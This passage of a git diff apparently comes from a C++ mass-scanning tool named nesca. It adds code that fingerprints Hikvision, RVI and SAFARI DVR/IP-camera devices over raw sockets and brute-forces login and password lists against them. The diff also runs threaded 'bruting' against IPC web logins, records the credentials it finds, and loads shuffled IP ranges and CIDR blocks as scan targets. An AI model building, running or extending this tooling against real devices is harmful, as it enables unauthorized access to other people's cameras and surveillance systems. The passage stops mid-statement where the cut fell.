+ *bTimedOut = FALSE;
+ n = select(Socket + 1, &ReadSet, NULL, NULL, &Time);
+ if (n > 0) { /* got some data */
+ return recv(Socket, Buffer, Len, 0);
+ }
+ if (n == 0) { /* timeout */
+ *bTimedOut = TRUE;
+ }
+ return(n); /* trouble */
+}
+
+
+bool HikVis::checkHikk(const char * sDVRIP, int port) {
+ sockaddr_in sa;
+ sa.sin_family = AF_INET;
+ sa.sin_port = htons(port);
+
+ hostent *host = NULL;
+#if defined(WIN32)
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#else
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#endif
+ else return false;
+
+ SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (sock == INVALID_SOCKET) return false;
+
+ struct linger linger = { 1, gTimeOut };
+ setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
+
+ int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
+ int bTO;
+ char buff[2048] = { 0 };
+ if (res != SOCKET_ERROR) {
+ send(sock, headerIVMS, 32, 0);
+ char tBuff[32] = { 0 };
+ int offset = 0;
+ int sz = 0;
+ while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
+ memcpy(buff + offset, tBuff, sz);
+ offset = sz;
+ }
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+
+ if (buff[3] == 0x10) return true;
+ else return false;
+ }
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+ return false;
+}
+
+bool HikVis::checkRVI(const char * sDVRIP, int port) {
+ sockaddr_in sa;
+ sa.sin_family = AF_INET;
+ sa.sin_port = htons(port);
+
+ hostent *host = NULL;
+#if defined(WIN32)
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#else
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#endif
+ else return false;
+
+ SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (sock == INVALID_SOCKET) return false;
+
+ struct linger linger = { 1, gTimeOut };
+ setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
+
+ int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
+ int bTO;
+ char buff[2048] = { 0 };
+ if (res != SOCKET_ERROR) {
+ send(sock, headerRVI, 32, 0);
+ char tBuff[32] = { 0 };
+ int offset = 0;
+ int sz = 0;
+ while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
+ memcpy(buff + offset, tBuff, sz);
+ offset = sz;
+ }
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+
+ if (buff[0] == -80) return true;
+ else return false;
+ }
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+ return false;
+}
+
+bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
+ sockaddr_in sa;
+ sa.sin_family = AF_INET;
+ sa.sin_port = htons(port);
+
+ hostent *host = NULL;
+#if defined(WIN32)
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#else
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#endif
+ else return false;
+
+ SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (sock == INVALID_SOCKET) return false;
+
+ struct linger linger = { 1, gTimeOut };
+ setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
+
+ int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
+ int bTO;
+ char buff[2048] = { 0 };
+ if (res != SOCKET_ERROR) {
+ send(sock, headerSAFARI, 128, 0);
+ char tBuff[128] = { 0 };
+ int offset = 0;
+ int sz = 0;
+ while ((sz = recvWT(sock, tBuff, 128, gTimeOut, &bTO)) > 0) {
+ memcpy(buff + offset, tBuff, sz);
+ offset = sz;
+ }
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+
+ if (buff[0] != '\0') {
+ return true;
+ }
+
+ if (buff[0] == 8) return true;
+ else return false;
+ }
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+ return false;
+}
+
+
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
{
lopaStr lps = { "UNKNOWN", "", "" };
int passCounter = 0;
+ char ip[64] = { 0 };
+ strcpy(ip, sDVRIP);
+ int rowIndex = -1;
+
+ char login[64] = { 0 };
+ char pass[64] = { 0 };
for (int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
if (!globalScanFlag) return lps;
+ ZeroMemory(login, 64);
+ ZeroMemory(pass, 64);
+ strcpy(login, loginLst[i]);
+ strcpy(pass, passLst[j]);
- NET_DVR_DEVICEINFO_V30 *info;
+ NET_DVR_DEVICEINFO_V30 *info = 0;
hik_init_ptr();
- if (hik_login_ptr(sDVRIP, wDVRPort, loginLst[i], passLst[j], info) == 0) {
- strcpy(lps.login, loginLst[i]);
- strcpy(lps.pass, passLst[j]);
- hik_cleanup_ptr();
+ int res = hik_login_ptr(ip, wDVRPort, login, pass, info);
+ hik_cleanup_ptr();
+ if (res == 0) {
+ strcpy(lps.login, login);
+ strcpy(lps.pass, pass);
+
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
+ }
+
return lps;
}
- hik_cleanup_ptr();
- if (BALogSwitched) stt->doEmitionBAData("HV: " + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
- "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
- QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
+ QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ }
+ else{ rowIndex = -1; }
+ ++passCounter;
+ Sleep(200);
+ }
+ }
- Sleep(100);
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
+ return lps;
+}
+
+int rvi_login_ptr(const char *sDVRIP, int wDVRPort, const char *login, const char *pass) {
+ sockaddr_in sa;
+ sa.sin_family = AF_INET;
+ sa.sin_port = htons(wDVRPort);
+
+ hostent *host = NULL;
+#if defined(WIN32)
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#else
+ if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
+ else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+#endif
+ else return -1;
+
+ SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (sock == INVALID_SOCKET) return -1;
+
+ struct linger linger = { 1, gTimeOut };
+ setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
+
+ int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
+ int bTO;
+
+ char newlp[32] = {0};
+ memcpy(newlp, loginRVIHeaderStart, 8);
+ memcpy(newlp + 8, login, strlen(login));
+ memcpy(newlp + 16, pass, strlen(pass));
+ memcpy(newlp + 24, loginRVIHeaderEnd, 8);
+
+ if (res != SOCKET_ERROR) {
+ send(sock, newlp, 32, 0);
+ char buff[32] = { 0 };
+ recvWT(sock, buff, 16, gTimeOut, &bTO);
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+
+ if (buff[9] == 0x08) return 0;
+ else return -1;
+ }
+
+ shutdown(sock, SD_BOTH);
+ closesocket(sock);
+ return -1;
+}
+
+lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
+{
+ lopaStr lps = { "UNKNOWN", "", "" };
+ int passCounter = 0;
+ char ip[64] = { 0 };
+ strcpy(ip, sDVRIP);
+ int rowIndex = -1;
+
+ char login[64] = { 0 };
+ char pass[64] = { 0 };
+
+ for (int i = 0; i < MaxLogin; ++i) {
+ for (int j = 0; j < MaxPass; ++j) {
+ FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
+ if (!globalScanFlag) return lps;
+ ZeroMemory(login, 64);
+ ZeroMemory(pass, 64);
+ strcpy(login, loginLst[i]);
+ strcpy(pass, passLst[j]);
+
+ if (strlen(login) > 8) break;
+ if (strlen(pass) > 8) continue;
+
+ if (rvi_login_ptr(ip, wDVRPort, login, pass) == 0) {
+ strcpy(lps.login, login);
+ strcpy(lps.pass, pass);
+
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
+ }
+
+ return lps;
+ }
+
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
+ QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ }
+ else { rowIndex = -1; }
+ ++passCounter;
+ Sleep(200);
}
}
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
return lps;
}
+
lopaStr HikVis::HVLobby(const char *ip, const int port) {
if (gMaxBrutingThreads > 0) {
@@ -51,4 +397,22 @@ lopaStr HikVis::HVLobby(const char *ip, const int port) {
lopaStr lps = { "UNKNOWN", "", "" };
return lps;
}
+}
+
+lopaStr HikVis::RVILobby(const char *ip, const int port) {
+ if (gMaxBrutingThreads > 0) {
+
+ while (BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
+
+ ++baCount;
+ ++BrutingThrds;
+ const lopaStr &lps = rviLogin(ip, port);
+ --BrutingThrds;
+
+ return lps;
+ }
+ else {
+ lopaStr lps = { "UNKNOWN", "", "" };
+ return lps;
+ }
}
\ No newline at end of file
diff --git a/HikvisionLogin.h b/HikvisionLogin.h
index ebfa7a5..ffcef43 100644
--- a/HikvisionLogin.h
+++ b/HikvisionLogin.h
@@ -8,11 +8,16 @@ class HikVis {
public: static bool isInitialized;
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
+ lopaStr rviLogin(const char * sDVRIP, int wDVRPort);
public:
+ static bool checkHikk(const char * sDVRIP, int port);
+ static bool checkRVI(const char * sDVRIP, int port);
+ static bool checkSAFARI(const char * sDVRIP, int port);
void hikInit();
void hikCleanup();
lopaStr HVLobby(const char *ip, const int port);
+ lopaStr RVILobby(const char *ip, const int port);
};
#endif // UTILS_H
\ No newline at end of file
diff --git a/IPCAuth.cpp b/IPCAuth.cpp
index ab9fe9e..9f8e09c 100644
--- a/IPCAuth.cpp
+++ b/IPCAuth.cpp
@@ -11,6 +11,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
char pass[128] = {0};
char request[1024] = {0};
int passCounter = 1;
+ int rowIndex = -1;
std::vector negVector;
if(strcmp(SPEC, "IPC") == 0)
@@ -179,7 +180,15 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
if (doPost) res = con.nConnect(request, port, &buffer, postData);
else res = con.nConnect(request, port, &buffer);
- if (res == -2) return lps;
+ if (res == -2) {
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
+ return lps;
+ }
else if (res != -1) {
for (int i = 0; i < negVector.size(); ++i)
{
@@ -194,18 +203,40 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]);
+
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
+ }
+
return lps;
};
}
- if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
- "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
- QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
-
+ if (BALogSwitched) {
+ if (rowIndex == -1) {
+ rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
+ QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
+ QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
+ }
+ }
+ else { rowIndex = -1; }
+ ++passCounter;
Sleep(100);
};
};
-
+ if (rowIndex == -1) {
+ nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
+ }
+ else {
+ stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
+ }
return lps;
}
diff --git a/MainStarter.cpp b/MainStarter.cpp
index baaae6c..91ec7a7 100644
--- a/MainStarter.cpp
+++ b/MainStarter.cpp
@@ -10,16 +10,16 @@
int gTimeOut = 3;
int gPingTimeout = 1;
int gMode;
-int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
-int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0;
+int PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
+int camerasC1 = 0, filtered = 0, Overl = 0, Alive = 0, saved = 0, other = 0, ssh = 0;
int found = 0, indexIP = 0;
-int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
+int MaxPass = 0, MaxLogin = 0,
+MaxWFLogin = 0, MaxWFPass = 0,
+MaxFTPLogin = 0, MaxFTPPass = 0,
+MaxSSHPass = 0;
int baCount = 0;
int gMaxBrutingThreads = 50;
unsigned int Activity = 0;
-char **loginLst, **passLst;
-char **wfLoginLst, **wfPassLst;
-char **sshlpLst;
char gTLD[128] = { 0 };
char gPorts[65536] = { 0 };
char currentIP[MAX_ADDR_LEN] = { 0 };
@@ -42,18 +42,20 @@ char metaTargets[256] = { 0 };
char metaETA[256] = { 0 };
char metaOffline[256] = { 0 };
+bool saveBackup;
+
void MainStarter::unBlockButtons(){
stt->doEmitionBlockButton(false);
}
int MainStarter::fileLoader(const char *fileName) {
- char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
unsigned int importFileSize = 0;
FILE *fl = fopen(fileName, "r");
if (fl != NULL)
{
+ char curIP[256] = { 0 };
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
{
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
@@ -62,187 +64,169 @@ int MainStarter::fileLoader(const char *fileName) {
) ++importFileSize;
ZeroMemory(curIP, sizeof(curIP));
};
+ fclose(fl);
+ }
+ else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
- if (importFileSize == 0) {
- fclose(fl);
- return -1;
- }
+ if (importFileSize == 0) return -1;
- ipsstartfl = new unsigned int*[importFileSize + 1];
- ipsendfl = new unsigned int*[importFileSize + 1];
- ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
- ZeroMemory(ipsendfl, sizeof(ipsendfl));
+ ipsstartfl = new unsigned int*[importFileSize + 1];
+ ipsendfl = new unsigned int*[importFileSize + 1];
+ ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
+ ZeroMemory(ipsendfl, sizeof(ipsendfl));
- for (int i = 0; i < importFileSize; ++i)
- {
- ipsstartfl[i] = new unsigned int[4];
- ipsendfl[i] = new unsigned int[4];
+ for (int i = 0; i < importFileSize; ++i)
+ {
+ ipsstartfl[i] = new unsigned int[4];
+ ipsendfl[i] = new unsigned int[4];
- ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
- ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
- };
+ ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
+ ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
+ };
- rewind(fl);
+ std::vector shuffleArray;
+ ifstream inputStream(fileName);
+ std::string curIPStr;
- while (fgets(curIP, 256, fl) != NULL)
- {
- if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
- ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
- && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
+ while (!inputStream.eof())
+ {
+ std::getline(inputStream, curIPStr);
+ if (curIPStr.size() > 1
+ && curIPStr.find("#") == std::string::npos) shuffleArray.push_back(curIPStr);
+ }
+
+ std::random_shuffle(shuffleArray.begin(), shuffleArray.end());
+ for (int i = 0; i < importFileSize; ++i) {
+ curIPStr = shuffleArray[i];
+ if (curIPStr.find("-") != std::string::npos) {
+ std::vector tmpIPVec = Utils::splitToStrVector(curIPStr, '-');
+ std::vector tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
+ std::vector tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
+
+ ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
+ ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
+ ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
+ ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
+
+ ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
+ ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
+ ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
+ ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
+
+ if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
+ || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
+ && ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
+ )
+ || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
+ && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
+ && ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
+ )
+ || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
+ && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
+ && ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
+ && ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
+ )
+ )
{
- strcpy(curIPCopy, curIP);
- char *ptr1 = strstr(curIP, " ");
- if (ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
- ptr1 = strstr(curIP, " ");
- if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
- ptr1 = strstr(curIP, "#");
- if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
- if (strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
- {
- ZeroMemory(curIPCopy, sizeof(curIPCopy));
- ZeroMemory(curIP, sizeof(curIP));
- continue;
- };
+ stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
+ QString(curIPStr.c_str()) + "]");
+ return -1;
+ };
- if (strstr(curIP, "-") != NULL)
- {
- std::vector tmpIPVec = Utils::splitToStrVector(curIP, '-');
- std::vector tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
- std::vector tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
-
- ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
- ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
- ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
- ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
-
- ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
- ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
- ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
- ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
-
- if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
- || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
- && ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
- )
- || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
- && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
- && ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
- )
- || (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
- && ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
- && ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
- && ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
- )
- )
- {
- stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
- QString::number(MainStarter::flCounter) +
- "] String-> [" +
- QString(curIPCopy) + "]");
- return -1;
- };
+ unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
+ (ipsstartfl[MainStarter::flCounter][1] * 65536) +
+ (ipsstartfl[MainStarter::flCounter][2] * 256) +
+ ipsstartfl[MainStarter::flCounter][3];
+ unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
+ (ipsendfl[MainStarter::flCounter][1] * 65536) +
+ (ipsendfl[MainStarter::flCounter][2] * 256) +
+ ipsendfl[MainStarter::flCounter][3];
+
+ if (ip1 > ip2) {
+ stt->doEmitionRedFoundData(" Malformed input: check your range (" +
+ QString(curIPStr.c_str()) + ")");
+ }
- unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
- (ipsstartfl[MainStarter::flCounter][1] * 65536) +
- (ipsstartfl[MainStarter::flCounter][2] * 256) +
- ipsstartfl[MainStarter::flCounter][3];
- unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
- (ipsendfl[MainStarter::flCounter][1] * 65536) +
- (ipsendfl[MainStarter::flCounter][2] * 256) +
- ipsendfl[MainStarter::flCounter][3];
-
- if (ip1 > ip2) {
- stt->doEmitionRedFoundData("Malformed input: check your range (" +
- QString(curIP) + ")");
- }
+ gTargets += ip2 - ip1 + 1;
+ ++MainStarter::flCounter;
+ }
+ else if (curIPStr.find("/") != std::string::npos)
+ {
+ if (curIPStr.size() > 18) {
+ stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
+ QString(curIPStr.c_str()) +
+ "]");
+ continue;
+ }
+ unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
+ unsigned int netmask = atoi(strstr(curIPStr.c_str(), "/") + 1);
- gTargets += ip2 - ip1 + 1;
- ++MainStarter::flCounter;
- }
- else if (strstr(curIP, "/") != NULL)
- {
- if (strlen(curIP) > 18) {
- stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
- QString::number(MainStarter::flCounter) +
- "] String-> [" +
- QString(curIPCopy) +
- "]");
- continue;
- }
- unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
- unsigned int netmask = atoi(strstr(curIP, "/") + 1);
+ std::vector tmpIPVec = Utils::splitToIntVector(curIPStr.c_str(), '.');
- std::vector tmpIPVec = Utils::splitToIntVector(curIP, '.');
+ for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
- for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
+ /*Set the bytes which won't be changed*/
+ for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
+ ip_min[tmp1 - 1] = ip[tmp1 - 1];
+ ip_max[tmp1 - 1] = ip[tmp1 - 1];
+ }
+ /*Set the bytes which should be 0ed or 255ed.*/
+ for (tmp1 = tmp2, ++tmp2; tmp2 < 4; tmp2++){
+ ip_min[tmp2] = 0;
+ ip_max[tmp2] = 255;
+ }
+ /* Finally set the one which has to be shifted.*/
+ if (tmp1 < 4){
+ tmp2 = 8 - netmask % 8;
+ ip_min[tmp1] = ip[tmp1] >> tmp2;
+ ip_min[tmp1] <<= tmp2;
+ ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
+ }
- /*Set the bytes which won't be changed*/
- for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
- ip_min[tmp1 - 1] = ip[tmp1 - 1];
- ip_max[tmp1 - 1] = ip[tmp1 - 1];
- }
- /*Set the bytes which should be 0ed or 255ed.*/
- for (tmp1 = tmp2, ++tmp2; tmp2< 4; tmp2++){
- ip_min[tmp2] = 0;
- ip_max[tmp2] = 255;
- }
- /* Finally set the one which has to be shifted.*/
- if (tmp1 < 4){
- tmp2 = 8 - netmask % 8;
- ip_min[tmp1] = ip[tmp1] >> tmp2;
- ip_min[tmp1] <<= tmp2;
- ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
- }
-
- ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
- ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
- ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
- ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
-
- ipsendfl[MainStarter::flCounter][0] = ip_max[0];
- ipsendfl[MainStarter::flCounter][1] = ip_max[1];
- ipsendfl[MainStarter::flCounter][2] = ip_max[2];
- ipsendfl[MainStarter::flCounter][3] = ip_max[3];
-
- unsigned long ip1 = (ip_min[0] * 16777216) +
- (ip_min[1] * 65536) +
- (ip_min[2] * 256) +
- ip_min[3];
- unsigned long ip2 = (ip_max[0] * 16777216) +
- (ip_max[1] * 65536) +
- (ip_max[2] * 256) +
- ip_max[3];
-
- if (ip1 > ip2) {
- stt->doEmitionRedFoundData("Malformed input: check your range (" +
- QString(curIP) + ")");
- }
+ ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
+ ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
+ ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
+ ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
+
+ ipsendfl[MainStarter::flCounter][0] = ip_max[0];
+ ipsendfl[MainStarter::flCounter][1] = ip_max[1];
+ ipsendfl[MainStarter::flCounter][2] = ip_max[2];
+ ipsendfl[MainStarter::flCounter][3] = ip_max[3];
+
+ unsigned long ip1 = (ip_min[0] * 16777216) +
